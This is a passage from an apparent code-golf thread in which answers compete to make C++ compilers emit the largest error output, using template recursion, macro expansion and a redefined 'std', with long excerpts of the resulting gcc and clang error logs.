W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<int> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >]’: golf.cpp:2: error: template instantiation depth exceeds maximum of 500 (use -ftemplate-depth-NN to increase the maximum) instantiating ‘struct W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<int> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >’ golf.cpp:2: instantiated from ‘int f(T) [with T = W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<int> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >]’ golf.cpp:2: instantiated from ‘int f(T) [with T = W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<int> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >]’ ... snip ... golf.cpp:2: instantiated from ‘int f(T) [with T = W<W<W<W<W<W<W<W<W<W<W<W<int> > > > > > > > > > > >]’ golf.cpp:2: instantiated from ‘int f(T) [with T = W<W<W<W<W<W<W<W<W<W<W<int> > > > > > > > > > >]’ golf.cpp:2: instantiated from ‘int f(T) [with T = W<W<W<W<W<W<W<W<W<W<int> > > > > > > > > >]’ golf.cpp:2: instantiated from ‘int f(T) [with T = W<W<W<W<W<W<W<W<W<int> > > > > > > > >]’ golf.cpp:2: instantiated from ‘int f(T) [with T = W<W<W<W<W<W<W<W<int> > > > > > > >]’ golf.cpp:2: instantiated from ‘int f(T) [with T = W<W<W<W<W<W<W<int> > > > > > >]’ golf.cpp:2: instantiated from ‘int f(T) [with T = W<W<W<W<W<W<int> > > > > >]’ golf.cpp:2: instantiated from ‘int f(T) [with T = W<W<W<W<W<int> > > > >]’ golf.cpp:2: instantiated from ‘int f(T) [with T = W<W<W<W<int> > > >]’ golf.cpp:2: instantiated from ‘int f(T) [with T = W<W<W<int> > >]’ golf.cpp:2: instantiated from ‘int f(T) [with T = W<W<int> >]’ golf.cpp:2: instantiated from ‘int f(T) [with T = W<int>]’ golf.cpp:2: instantiated from ‘int f(T) [with T = int]’ golf.cpp:3: instantiated from here golf.cpp:2: error: invalid use of incomplete type ‘struct W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<int> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >’ golf.cpp:1: error: declaration of ‘struct W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<W<int> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >’ ``` Statistics: ``` $ g++ golf.cpp 2>&1 | wc -c 537854 $ clang golf.cpp 2>&1 | wc -c 22666 $ g++ -ftemplate-depth-10000 golf.cpp 2>&1 | wc -c # 268+ MB of RAM and almost 15 minutes 200750356 ``` Ungolfed (produces longer output): ``` template<class T> struct Wrap { T value; Wrap(T v) : value(v) {} }; template<class T> void func(T x) { func(Wrap<T>(x)); } int main(void) { func(0); return 0; } ``` I discovered this when I wanted to see if C++ supports polymorphic recursion (and, as you can clearly see, it doesn't). Here's a trivial example of polymorphic recursion in Haskell: ``` Prelude> let f :: (Show a) => a -> String; f x = show x ++ " " ++ f [x] Prelude> f 0 "0 [0] [[0]] [[[0]]] [[[[0]]]] [[[[[0]]]]] [[[[[[0]]]]]] [[[[[[[0]]]]]]] [[[[[[[[0]] ... ``` Here, this requires Haskell to act like it instantiates `Show x`, `Show [x]`, `Show [[x]]`, `Show [[[x]]]`, ad infinitum. Haskell does it by turning `(Show x) =>` into an implicit parameter to the function `f` added by the compiler, something like this: ``` type Show a = a -> String showList :: Show a -> [a] -> String showList show [] = "[]" showList show (x:xs) = '[' : show x ++ showItems xs where showItems [] = "]" showItems (x:xs) = ',' : show x ++ showItems xs f :: Show a -> a -> String f show x = show x ++ " " ++ f (showList show) [x] ``` C++ does it by literally trying to construct such instances until the template instantiation depth is exceeded. [Answer] ## 279 chars ``` #define A(s) s##s##s##s##s##s##s##s #define B(s) A(s##s##s##s##s##s##s##s) #define C(s) B(s##s##s##s##s##s##s##s) #define D(s) C(s##s##s##s##s##s##s##s) #define E(s) D(s##s##s##s##s##s##s##s) #define F(s) E(s##s##s##s##s##s##s##s) #define G(s) F(s##s##s##s##s##s##s##s) a G(foo) ``` With gcc 4.2.1, generates the error `error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘foofoo....foofoo’` with 2^21 copies of `foo`. 6,291,558 bytes in all. It's about as big an identifier as I can get, replacing `foo` with `food` generates an ICE. [Answer] The following code is based on an actual error I once encountered. ``` template <int i> void bar(); template <int i> void foo() { bar<i>(); char baz[i]; } template <int i> void bar() { foo<i-1>(); } int main(void) { foo<2000>(); return 0; } ``` (using gcc) Pretty obvious template recursion, but since I used `ftemplate-depth=100000` for this run this doesn't produce an error. The real source of the error messages comes from `char baz[i];`, which produces an error when `i` drops to -1. After about half an hour, I'm sitting on **21,000 compiler errors**, **300,000 lines of error messages**, and **280 megabytes of RAM** used by the compiler. And it's showing no signs of stopping. EDIT: One hour later, now at **36,000 compiler errors**, **504,000 lines of error messages**, and **480 megabytes of RAM**... and still going. EDIT #2: About half an hour later: ``` ccplus1.exe has stopped working ``` Final statistics: **38,876 compiler errors**, **544,624 lines of error messages, totaling 48.8 megabytes of data**, and **518.9 megabytes of RAM** used by the compiler before it crashed. [Answer] # 28 bytes Sabotaging the standard library: ``` #define std + #include<map> ``` Using clang on OS X 10.9: ``` c++ foo.cpp -o foo -ferror-limit=-1 In file included from foo.cpp:2: In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/map:422: /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/__config:347:11: error: expected identifier or '{' namespace std { ^ foo.cpp:1:13: note: expanded from macro 'std' #define std + ^ In file included from foo.cpp:2: In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/map:422: /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/__config:347:11: error: expected external declaration foo.cpp:1:13: note: expanded from macro 'std' #define std + ^ In file included from foo.cpp:2: In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/map:422: /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/__config:347:15: error: expected unqualified-id namespace std { ^ In file included from foo.cpp:2: In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/map:423: In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/__tree:15: In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/iterator:330: In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/type_traits:203: /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/cstddef:50:1: error: expected identifier or '{' _LIBCPP_BEGIN_NAMESPACE_STD ^ /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/__config:343:47: note: expanded from macro '_LIBCPP_BEGIN_NAMESPACE_STD' #define _LIBCPP_BEGIN_NAMESPACE_STD namespace std {inline namespace _LIBCPP_NAMESPACE { ^ foo.cpp:1:13: note: expanded from macro 'std' #define std + ^ In file included from foo.cpp:2: In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/map:423: In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/__tree:15: In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/iterator:330: In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/type_traits:203: /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/cstddef:50:1: error: expected external declaration /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/__config:343:47: note: expanded from macro '_LIBCPP_BEGIN_NAMESPACE_STD' #define _LIBCPP_BEGIN_NAMESPACE_STD namespace std {inline namespace _LIBCPP_NAMESPACE { ^ foo.cpp:1:13: note: expanded from macro 'std' #define std + ^ In file included from foo.cpp:2: In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/map:423: In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/__tree:15: In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/iterator:330: In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/type_traits:203: /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/cstddef:50:1: error: expected unqualified-id [[SNIP...]] _LIBCPP_NEW_DELETE_VIS void* operator new(std::size_t __sz) ^ /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/new:132:43: error: expected parameter declarator _LIBCPP_NEW_DELETE_VIS void* operator new(std::size_t __sz, const std::nothrow_t&) _NOEXCEPT _NOALIAS; ^ foo.cpp:1:13: note: expanded from macro 'std' #define std + ^ In file included from foo.cpp:2: In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/map:423: In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/__tree:16: In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/memory:597: /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/new:132:43: error: expected ')' foo.cpp:1:13: note: expanded from macro 'std' #define std + ^ /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/new:132:42: note: to match this '(' _LIBCPP_NEW_DELETE_VIS void* operator new(std::size_t __sz, const std::nothrow_t&) _NOEXCEPT _NOALIAS; ^ /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/new:134:63: error: C++ requires a type specifier for all declarations _LIBCPP_NEW_DELETE_VIS void operator delete(void* __p, const std::nothrow_t&) _NOEXCEPT; ~~~~~ ^ foo.cpp:1:13: note: expanded from macro 'std' #define std + ^ In file included from foo.cpp:2: In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/map:423: In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/__tree:16: In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/memory:597: /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/new:134:63: error: expected ')' foo.cpp:1:13: note: expanded from macro 'std' #define std + ^ /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/new:134:45: note: to match this '(' _LIBCPP_NEW_DELETE_VIS void operator delete(void* __p, const std::nothrow_t&) _NOEXCEPT; ^ /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/new:136:45: error: expected parameter declarator _LIBCPP_NEW_DELETE_VIS void* operator new[](std::size_t __sz) ^ foo.cpp:1:13: note: expanded from macro 'std' #define std + ^ In file included from foo.cpp:2: In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/map:423: In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/__tree:16: In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/memory:597: /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/c++/v1/new:136:45: error: expected ')' 